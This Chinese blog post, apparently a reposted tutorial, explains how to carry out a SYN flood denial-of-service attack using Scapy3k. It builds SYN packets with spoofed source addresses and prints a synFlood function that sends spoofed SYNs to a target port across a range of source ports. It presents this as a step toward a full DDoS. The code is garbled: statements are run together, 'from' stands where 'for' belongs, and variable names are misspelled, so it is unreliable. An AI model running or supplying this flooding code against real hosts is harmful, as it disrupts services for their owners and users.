python3版本的Scapy--Scapy3k來實現一個簡單的DDos。
首先實現SYN泛洪攻擊(SYN Flood,是一直常用的DOS方式之一,通過發送大量偽造的TCP連接請求,使被攻擊主機資源耗盡的攻擊方式)。TCP三次握手的過程在這里就不再贅述,SYN攻擊則是客戶端向服務器發送SYN報文之后就不再響應服務器回應的報文,由于服務器在處理TCP請求時,會在協議棧留一塊緩沖區來存儲握手的過程,如果超過一定的時間沒有接收到客戶端的報文,那么本次連接在協議棧中存儲的數據就會被丟棄。攻擊者如果利用這段時間發送了大量的連接請求,全部掛起在半連接狀態,這樣將不斷消耗服務器資源,直到拒接服務。
Scapy是一個強大的交互式數據包處理程序,可以用來發送、嗅探、解析和偽造網絡數據包。首先需要安裝Scapy3k:
sudo pip3 install scapy-python3
現在學習一下scapy的使用方法:
sudo scapy(scapy發送數據包需要root權限)
(警告信息是因為有一些依賴包沒有安裝,但是我們本次實驗不需要使用我就不裝了)
現在我們使用Scapy構造一個簡單的數據包看一下:
pkt = IP(dst = "192.168.0.10")
接下來我們就構造一個SYN包:
pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
(我們構造了一個IP包和TCP包并將它們組合到一塊,這樣就有了一個完整的TCP數據包,否則是無法發送出去的,IP包中我)們指定了源IP地址src和目的IP地址dst,其中src是我們偽造的地址,flags的值設定為S說明要發送的是SYN數據包)
代碼實現:
具體代碼如下:
import random import scapy.all import * def synFlood(tgt,dPort): srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] from sPort in range(1-24,65535): index = random.randrange(4) ipLayer = IP(stc = stcList[index].dst = tgt) tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S") packet = ipLayer/tcpLayer send(packet)
定義了srcList用于存放偽造的IP地址,之后定義了一個循環,作用是每次發送數據包源端口都改變,可以看到在構造TCP數據包的時候我們增加了一個參數sport,循環中改變的端口號就是給了sport這個參數。我們還調用random.randrange()函數來隨機從srcList中獲取一個偽造的IP地址。本次實驗就算完成,下次實驗實現一個完整的Ddos過程。
以上這篇Python項目 基于Scapy實現SYN泛洪攻擊的方法就是小編分享給大家的全部內容了,希望能給大家一個參考,也希望大家多多支持腳本之家。
更多文章、技術交流、商務合作、聯系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
